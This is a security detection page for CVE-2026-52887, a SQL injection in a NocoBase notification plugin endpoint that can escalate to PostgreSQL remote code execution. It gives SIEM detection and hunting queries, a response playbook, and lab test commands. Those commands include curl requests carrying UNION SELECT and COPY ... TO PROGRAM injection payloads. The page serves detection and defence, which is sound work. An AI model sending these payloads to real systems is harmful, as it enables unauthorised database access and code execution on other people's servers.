CVE-2026-52887 Sumo Logic CSE · Sumo

Detect NocoBase myInAppChannels:list SQL Injection to PostgreSQL Superuser RCE (CVE-2026-52887) in Sumo Logic CSE

CVE-2026-52887 is a critical (CVSS 10.0) SQL injection vulnerability in the @nocobase/plugin-notification-in-app-message plugin's /api/myInAppChannels:list endpoint filter parameter, affecting NocoBase versions <= 2.0.60. An unauthenticated or low-privileged attacker can inject arbitrary SQL through the filter query parameter, which is passed insufficiently sanitized into the underlying Sequelize/PostgreSQL query builder. Because NocoBase's database connection frequently runs with elevated (superuser) PostgreSQL privileges to support its dynamic schema/collection features, successful injection can be escalated via COPY ... TO/FROM PROGRAM or dblink/plpythonu extensions to achieve full remote code execution on the database host. Patched in v2.0.61 (PR #9630, commit 68d64e3).

MITRE ATT&CK

Tactic
Initial Access Execution

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=web/access* OR _sourceCategory=nocobase/app*
| parse "* * * [*] \"* * *\" * *" as clientip, ident, user, timestamp, method, uri, protocol, status, bytes
| where uri matches "*myInAppChannels:list*" and uri matches "*filter*"
| urldecode uri as decoded_uri
| where decoded_uri matches "*COPY*PROGRAM*" or decoded_uri matches "*dblink*" or decoded_uri matches "*UNION*SELECT*" or decoded_uri matches "*plpythonu*" or decoded_uri matches "*information_schema*"
| count by clientip, decoded_uri, status
| sort -_count
critical severity medium confidence

Detects and counts requests to the NocoBase /api/myInAppChannels:list endpoint with filter parameters containing SQL injection indicators tied to CVE-2026-52887, grouped by client IP for triage prioritization.

Data Sources

Web Access LogsNocoBase Application Logs

Required Tables

web/accessnocobase/app

False Positives & Tuning

  • Internal automation performing bulk filter queries
  • Misconfigured monitoring generating repetitive scan-like traffic
  • Authorized red team exercises

Other platforms for CVE-2026-52887

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate SQL Injection Probe Against myInAppChannels:list

    Expected signal: HTTP access log entry showing GET /api/myInAppChannels:list with URL-encoded filter parameter containing 'UNION SELECT'.

  2. Test 2Simulate PostgreSQL COPY PROGRAM Injection Payload

    Expected signal: HTTP log entry with decoded filter containing 'COPY' and 'PROGRAM'; if unpatched and role is superuser, PostgreSQL log shows the executed COPY PROGRAM statement and spawned OS process.

  3. Test 3Validate Patched Version Rejects Injection Payload

    Expected signal: HTTP access log entry showing the same injection attempt, but application logs indicate a validation error (400 Bad Request) rather than a raw query execution.

Last updated: 2026-08-01 Research depth: standard
References (6)

Response Playbook

Triage

  1. Confirm the target NocoBase instance version is <= 2.0.60 and has the @nocobase/plugin-notification-in-app-message plugin enabled by querying the app's /api/app:getInfo or checking package.json/lockfile.
  2. Review web server and application logs for requests to /api/myInAppChannels:list containing suspicious filter payloads (COPY PROGRAM, dblink, UNION SELECT, plpythonu, information_schema) to determine if exploitation was attempted.
  3. Check PostgreSQL logs (log_statement=all or pgAudit) for anomalous queries executed by the NocoBase database role around the time of suspicious HTTP requests, especially COPY, dblink_connect, or CREATE EXTENSION statements.
  4. Determine the privilege level of the PostgreSQL role used by NocoBase (query pg_roles for rolsuper) since successful RCE requires the connection to run as or escalate to superuser.
  5. Assess whether outbound network connections or new OS processes were spawned by the postgres service process around the time of the suspicious request, indicating successful RCE via COPY TO/FROM PROGRAM.

Containment

  1. Immediately upgrade NocoBase to v2.0.61 or later, which patches the SQL injection in the filter parsing logic (PR #9630).
  2. If immediate patching is not possible, block or rate-limit access to /api/myInAppChannels:list at the WAF/reverse proxy layer and restrict the endpoint to authenticated, trusted internal callers only.
  3. Revoke superuser privileges from the PostgreSQL role used by the NocoBase application and replace with a least-privilege role scoped only to required schemas/tables, disabling COPY PROGRAM and dblink/plpythonu extension usage for that role.
  4. Isolate the affected database host from untrusted network segments if active exploitation or RCE indicators are confirmed, pending forensic investigation.

Evidence Collection

  1. Preserve web server, reverse proxy, and NocoBase application logs covering the suspected exploitation window, including full request bodies/query strings for /api/myInAppChannels:list.
  2. Export PostgreSQL query logs, pg_stat_activity snapshots, and pgAudit records showing statements executed by the NocoBase database role during the incident window.
  3. Capture a memory/process snapshot and bash/shell history on the PostgreSQL host if RCE via COPY PROGRAM is suspected, along with any newly created files, cron jobs, or reverse shell artifacts.
  4. Retain a copy of the affected NocoBase deployment's package version, plugin list, and configuration for correlation with the vulnerable code path identified in commit 68d64e3.

Escalation Criteria

  • !Escalate immediately if evidence shows the PostgreSQL role is running with superuser privileges and any COPY ... TO/FROM PROGRAM, dblink, or plpythonu-based query was executed following a suspicious /api/myInAppChannels:list request.
  • !Escalate to incident response leadership if outbound connections, new processes, or file writes originating from the PostgreSQL service account are detected, indicating successful RCE and potential lateral movement.
  • !Escalate if the affected NocoBase instance is internet-facing and unauthenticated access to the vulnerable endpoint is confirmed, given the CVSS 10.0 rating and public PoC availability.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Web server/reverse proxy access logs showing the raw filter query string sent to /api/myInAppChannels:list
  • >PostgreSQL query logs (log_statement=all) and pgAudit records capturing injected SQL and COPY PROGRAM invocations
  • >Process creation and file system artifacts on the database host resulting from COPY PROGRAM-spawned shell commands
  • >NocoBase application logs and error stack traces referencing malformed filter parsing exceptions

Tuning Guidance

Baseline legitimate filter parameter usage (field/operator JSON structures like {"$eq": ...}) for your NocoBase deployment to distinguish normal filter syntax from injected raw SQL fragments. Exclude known authorized vulnerability scanner source IPs. If the PostgreSQL backend role has already been restricted to non-superuser with COPY PROGRAM and dangerous extensions revoked, downgrade severity of standalone HTTP-layer matches to medium since RCE impact is mitigated even if injection succeeds; retain high/critical severity for any correlated anomalous PostgreSQL COPY/dblink activity.

Hunting Queries

Hunts for clients making repeated (>5 in an hour) requests to the myInAppChannels:list endpoint containing SQL keyword indicators, surfacing brute-force or automated SQL injection probing beyond single-request signature matches.

Hunting — KQL
kql 
AppServiceHTTPLogs
| where CsUriStem has "myInAppChannels:list"
| extend q=url_decode(CsUriQuery)
| where q matches regex @"(?i)(select|union|copy|dblink|information_schema)"
| summarize count() by CIp, bin(TimeGenerated, 1h)
| where count_ > 5
Hunting — SPL
spl 
index=web_logs uri_path="*myInAppChannels:list*"
| eval decoded=urldecode(uri_query)
| rex field=decoded "(?i)(select|union|copy|dblink|information_schema)"
| stats count by clientip, _time
| where count > 5

Atomic Red Team Tests

Test 1 Simulate SQL Injection Probe Against myInAppChannels:list
linux

Sends a crafted HTTP GET request with a malicious filter parameter containing a UNION SELECT payload to a lab NocoBase instance to validate detection of injection probing.

Command

bash 
curl -s 'http://LAB-NOCOBASE-HOST:13000/api/myInAppChannels:list?filter=%7B%22id%22%3A%221%20UNION%20SELECT%20current_user--%22%7D' -H 'Content-Type: application/json'

Cleanup

bash 
No server-side state is modified by this GET probe; no cleanup required beyond clearing local shell history if desired.

Expected Telemetry

HTTP access log entry showing GET /api/myInAppChannels:list with URL-encoded filter parameter containing 'UNION SELECT'.

Expected Detection

KQL/SPL rule flags the request due to presence of 'UNION SELECT' in the decoded query string.

Test 2 Simulate PostgreSQL COPY PROGRAM Injection Payload
linux

Sends a request containing a filter payload that mimics an attempt to invoke COPY ... TO PROGRAM for RCE, used to validate detection of the most severe exploitation pattern in a lab environment.

Command

bash 
curl -s 'http://LAB-NOCOBASE-HOST:13000/api/myInAppChannels:list?filter=%7B%22id%22%3A%221%3B%20COPY%20(SELECT%20%27\'\')%20TO%20PROGRAM%20%27\''id'\''%20--%22%7D' -H 'Content-Type: application/json'

Cleanup

bash 
Verify no COPY PROGRAM statement actually executed on the lab PostgreSQL instance (should fail if the role lacks superuser or the patch is applied); no persistent state to clean up.

Expected Telemetry

HTTP log entry with decoded filter containing 'COPY' and 'PROGRAM'; if unpatched and role is superuser, PostgreSQL log shows the executed COPY PROGRAM statement and spawned OS process.

Expected Detection

Detection rules alert on 'COPY...PROGRAM' pattern in the HTTP request; PostgreSQL audit correlation rule (Elastic EQL sequence) fires if the query reaches the database.

Test 3 Validate Patched Version Rejects Injection Payload
linux

Repeats the SQL injection probe against a NocoBase instance running the patched v2.0.61+ to confirm the filter parser now rejects or safely parameterizes malicious input, validating remediation.

Command

bash 
curl -s -o /tmp/response.json -w '%{http_code}' 'http://LAB-NOCOBASE-PATCHED:13000/api/myInAppChannels:list?filter=%7B%22id%22%3A%221%20UNION%20SELECT%20current_user--%22%7D'

Cleanup

bash 
rm -f /tmp/response.json

Expected Telemetry

HTTP access log entry showing the same injection attempt, but application logs indicate a validation error (400 Bad Request) rather than a raw query execution.

Expected Detection

Detection rule still fires on the HTTP-layer pattern match (for visibility), but no corresponding malicious PostgreSQL query is observed, confirming the patch mitigates exploitation despite the alert firing defensively.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002Execution

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.004Unix ShellT1505.001SQL Stored Procedures

Same Tactic: Initial Access

Popular Detections